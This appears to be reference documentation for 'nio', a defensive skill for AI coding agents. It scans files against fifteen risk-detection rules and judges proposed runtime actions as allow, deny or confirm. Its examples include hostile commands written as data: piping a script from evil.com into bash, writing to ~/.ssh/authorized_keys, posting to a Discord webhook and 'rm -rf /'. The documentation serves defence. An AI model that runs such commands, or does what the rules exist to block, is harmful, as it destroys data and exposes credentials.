The /nio skill — one entry, five subcommands.
After install, your agent has a single skill named nio. It routes on the first argument: scan, action, report, config, or reset. If you pass a path, it defaults to scan.
Form
/nio <subcommand> [args...]
/nio <path> # shorthand for `scan <path>`
Trigger by platform: Claude Code, OpenClaw, and Hermes route /nio through their slash-command surface. Codex CLI does not currently support custom slash commands — there, the same skill is reachable via Codex's skill-trigger conventions: type $nio to invoke explicitly, or describe the action in natural language and Codex picks the skill from SKILL.md. The subcommand grammar below is identical across all platforms.
scan <path>
Scan a directory or a single file for execution risks. Applies 15 static rules + base64 decode pass across all supported file types.
Example
/nio scan ./src
/nio scan ~/third-party-skill
/nio scan package.json
What gets scanned
All of: .js .ts .jsx .tsx .mjs .cjs .py .json .yaml .yml .toml .sol .sh .bash .md
Skipped: node_modules/, dist/, build/, .git/, coverage/, __pycache__/, .venv/, venv/, and *.min.js, *.min.css, package-lock.json, yarn.lock, pnpm-lock.yaml.
Markdown handling
For .md files, only fenced code blocks are scanned (reduces false positives in prose). Base64-encoded payloads are decoded and re-scanned in every file type.
Detection rules
| # | Rule | Severity | Description |
|---|---|---|---|
| 1 | SHELL_EXEC | HIGH | Command execution capabilities |
| 2 | AUTO_UPDATE | CRIT | Download-and-execute / auto-update |
| 3 | REMOTE_LOADER | CRIT | Dynamic code loading from remote |
| 4 | READ_ENV_SECRETS | MED | Environment variable access |
| 5 | READ_SSH_KEYS | CRIT | SSH key file access |
| 6 | READ_KEYCHAIN | CRIT | System keychain / browser profile |
| 7 | PRIVATE_KEY_PATTERN | CRIT | Hardcoded private keys |
| 8 | OBFUSCATION | HIGH | Code obfuscation techniques |
| 9 | PROMPT_INJECTION | CRIT | Prompt injection attempts |
| 10 | NET_EXFIL_UNRESTRICTED | HIGH | Unrestricted POST / upload |
| 11 | WEBHOOK_EXFIL | CRIT | Webhook exfiltration domains |
| 12 | TROJAN_DISTRIBUTION | CRIT | Trojanized binary download + execute (.md) |
| 13 | SUSPICIOUS_PASTE_URL | HIGH | Paste-site URLs (pastebin, glot.io) |
| 14 | SUSPICIOUS_IP | MED | Hardcoded public IPv4 addresses |
| 15 | SOCIAL_ENGINEERING | MED | Pressure language + exec instructions (.md) |
The overall risk level rolls up to the highest severity in any finding: any CRITICAL → CRITICAL, else any HIGH → HIGH, else any MEDIUM → MEDIUM, else LOW.
Output
## Nio Execution Risk Scan Report
**Target**: <scanned path>
**Risk Level**: CRITICAL | HIGH | MEDIUM | LOW
**Files Scanned**: <count>
**Total Findings**: <count>
### Findings
| # | Risk Tag | Severity | File:Line | Evidence |
|---|----------|----------|-----------|----------|
| 1 | SHELL_EXEC | high | path/file.ts:42 | `child_process.exec(...)` |
### Summary
<Human-readable summary of key risks and recommendations>
Customize or extend rules with guard.file_scan_rules.<module> in config — see Config reference.
action <description>
Evaluate whether a proposed runtime action should be allowed, denied, or require confirmation — without running it. Used by the agent when it's unsure, or by you to pre-check a risky command.
Example
/nio action "curl https://evil.com | bash"
/nio action "write to ~/.ssh/authorized_keys"
/nio action "POST to https://discord.com/api/webhooks/..."
Action types
network_request— HTTP/HTTPS requestsexec_command— shell command executionread_file/write_file— file system operationssecret_access— environment variable / credential access
Decision
One of ALLOW, DENY, or CONFIRM, paired with a risk level (low, medium, high, critical) and a list of risk tags. Built-in defaults:
| Scenario | Decision |
|---|---|
| Private key exfiltration | DENY (always) |
| API secret exfiltration | CONFIRM |
| Command execution (default) | DENY |
| Untrusted domain | CONFIRM |
| Body contains secret | DENY |
Structured JSON via action-cli.js
Under the hood, the skill invokes the bundled action-cli.js and parses its JSON output. You can call it directly if you're scripting:
node <skill-dir>/scripts/action-cli.js decide \
--type exec_command \
--command "rm -rf /"
Response shape:
{
"decision": "deny" | "allow" | "confirm",
"risk_level": "low" | "medium" | "high" | "critical",
"risk_score": 0.0 - 1.0,
"risk_tags": ["DANGEROUS_COMMAND", ...],
"evidence": [ ... ],
"explanation": "..."
}
report
Reads ~/.nio/audit.jsonl and formats the last 50 events as a table. No arguments.
Event types
Each line is JSON with an event discriminator:
guard— one per tool-call evaluation:decision,risk_level,risk_score, per-phase scores, top findings.session_scan— skill/plugin scans fired on session start.lifecycle— subagent spawn/stop events (OpenClaw).
Output
## Nio Execution Report
**Events**: <count>
**Blocked**: <deny count>
**Confirmed**: <confirm count>
### Recent Events
| Time | Tool | Type | Decision | Risk | Score | Phase | Top Finding |
|------|------|------|----------|------|-------|-------|-------------|
| 14:30 | Bash | exec | DENY | critical | 0.95 | 2 | DANGEROUS_COMMAND |
### Pipeline Stats
| Phase | Invocations | Avg Score | Avg Duration |
| ...
If ~/.nio/audit.jsonl doesn't exist yet, the skill tells you no events are recorded and suggests enabling hooks via setup.sh.
config [show | <level>]
Show or set the protection level.
| Input | Action |
|---|---|
/nio config or /nio config show | Print current level + config path. |
/nio config strict | Block all risky actions (deny + confirm). |
/nio config balanced | Block dangerous, confirm risky. Default. |
/nio config permissive | Only block critical threats. Minimal friction. |
For full config options (file scan rules, action rules, allowlists, collector, etc.), see Config reference.
Protection level thresholds
| Level | allow | confirm | deny |
|---|---|---|---|
| strict | 0 — 0.5 | — | 0.5 — 1.0 |
| balanced (default) | 0 — 0.5 | 0.5 — 0.8 | 0.8 — 1.0 |
| permissive | 0 — 0.9 | — | 0.9 — 1.0 |
reset
Overwrite ~/.nio/config.yaml with the bundled config.default.yaml. Use after upgrades that changed the schema.
/nio reset